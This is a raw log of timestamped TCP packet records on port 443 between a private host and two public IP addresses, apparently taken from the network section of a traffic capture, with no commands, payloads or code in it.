Oct 7, 2024 13:17:03.238444090 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.239535093 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.239535093 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.239542007 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.239721060 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.239865065 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.239875078 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.240967989 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.241436958 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.241624117 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.241662025 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.248786926 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.248895884 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.253544092 CEST	49795	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.253614902 CEST	443	49795	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.258438110 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.258846998 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.258876085 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.260353088 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.260824919 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.260824919 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.260844946 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.261009932 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.267748117 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.267872095 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.267920017 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268054008 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268069029 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.268083096 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268131018 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.268131018 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.268177032 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268284082 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268316031 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.268323898 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.268346071 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.268415928 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.269901037 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270029068 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270149946 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270267963 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270414114 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270545006 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270559072 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270589113 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270618916 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270682096 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270720959 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270822048 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.270874977 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.270936012 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.271114111 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.271356106 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.283483028 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.285454988 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.285481930 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.298841953 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.298979998 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.299017906 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.299029112 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.299056053 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.299097061 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.299148083 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.299155951 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.299180984 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.299316883 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.300674915 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.301064014 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.301094055 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.302839994 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.303013086 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.303347111 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.303452969 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.303489923 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.307545900 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.327728987 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.328043938 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.328058958 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.329499960 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.329921961 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.330082893 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.330116034 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.336880922 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.336977005 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.347527027 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.347539902 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355312109 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355402946 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.355541945 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355703115 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355715990 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.355731010 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355783939 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.355783939 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.355892897 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.355992079 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.355995893 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.356020927 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.356081009 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.356081009 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.356646061 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.356832981 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.357923031 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358036995 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358388901 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358490944 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358550072 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358666897 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358690023 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358719110 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358750105 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358761072 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358829021 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.358927965 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.358990908 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.359097958 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.359134912 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.359143972 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.359168053 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.359198093 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.378438950 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.378519058 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.378542900 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.378560066 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.378716946 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.378716946 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.378782034 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.381840944 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.381901979 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.381922960 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.382090092 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.382090092 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.382124901 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386280060 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386454105 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386492968 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.386502981 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386531115 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.386557102 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386593103 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.386600018 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.386626005 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.386822939 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.393711090 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.397891045 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.398053885 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.398081064 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.398243904 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.400537968 CEST	49800	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.400576115 CEST	443	49800	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.401048899 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.401151896 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.401184082 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.405159950 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.405224085 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.405348063 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.405379057 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.405580997 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.405992985 CEST	49799	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.406021118 CEST	443	49799	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.410317898 CEST	49810	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.410358906 CEST	443	49810	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.410511971 CEST	49810	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.410847902 CEST	49810	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.410876989 CEST	443	49810	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.425194979 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.425503016 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.434731007 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.442589998 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.442737103 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.442739010 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.442748070 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.442835093 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.442876101 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.443686962 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.443784952 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.443840981 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.443878889 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.443912029 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.443938017 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.443941116 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.444070101 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.444111109 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.444120884 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.444148064 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.444200039 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445374012 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445413113 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.445424080 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445451021 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.445519924 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.445615053 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445909023 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445947886 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.445960045 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.445986032 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446072102 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446109056 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446116924 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446142912 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446239948 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446279049 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446285963 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446312904 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446345091 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446387053 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446393967 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446419954 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446739912 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446779013 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.446787119 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.446813107 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.448523998 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.452209949 CEST	49803	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.452270031 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.452311039 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.454124928 CEST	49801	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.454154968 CEST	443	49801	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.456034899 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.456165075 CEST	49803	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.456892014 CEST	49803	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.456892014 CEST	49803	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.456928015 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.457079887 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.461173058 CEST	49812	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.461215973 CEST	443	49812	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.461289883 CEST	49812	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.461769104 CEST	49812	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.461790085 CEST	443	49812	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.463037968 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.463728905 CEST	49805	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.463753939 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.465514898 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.465720892 CEST	49805	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.466012955 CEST	49805	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.466012955 CEST	49805	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.466044903 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.466110945 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.468292952 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.468321085 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.468364000 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.468401909 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.468595982 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.469083071 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.469100952 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.469173908 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.469173908 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.472013950 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.472076893 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.472098112 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.472143888 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.472162008 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.472197056 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.474030972 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.474163055 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.474205017 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.474212885 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.474239111 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.474332094 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.474725962 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.474847078 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.488225937 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.488255978 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.488369942 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.488451958 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.488451958 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.488487005 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.488513947 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.488840103 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.490770102 CEST	49798	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.490799904 CEST	443	49798	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.492079973 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.492182970 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.492198944 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.492242098 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.492363930 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.493958950 CEST	49802	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.493968964 CEST	49814	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.493977070 CEST	443	49802	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.494059086 CEST	443	49814	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.496448040 CEST	49814	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.496644020 CEST	49814	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.496679068 CEST	443	49814	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.499464035 CEST	49815	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.499504089 CEST	443	49815	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.499609947 CEST	49815	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.499824047 CEST	49815	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.499840021 CEST	443	49815	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.504282951 CEST	49803	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.504339933 CEST	443	49803	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.512583017 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.512756109 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.520112991 CEST	49805	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.520131111 CEST	443	49805	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.520276070 CEST	49816	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:03.520313978 CEST	443	49816	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:03.520443916 CEST	49816	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:03.520698071 CEST	49816	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:03.520728111 CEST	443	49816	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:03.531507969 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531678915 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531725883 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.531744003 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531779051 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.531810999 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531850100 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.531857014 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531879902 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.531920910 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.531933069 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.531951904 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.532007933 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.532007933 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.532061100 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.532305002 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533190012 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533332109 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533350945 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533467054 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533473015 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533499956 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533533096 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533633947 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533694983 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533701897 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533727884 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533770084 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533807993 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533814907 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533828974 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533899069 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:03.533938885 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:03.533946037 CEST	443	49777	192.185.125.111	192.168.2.4
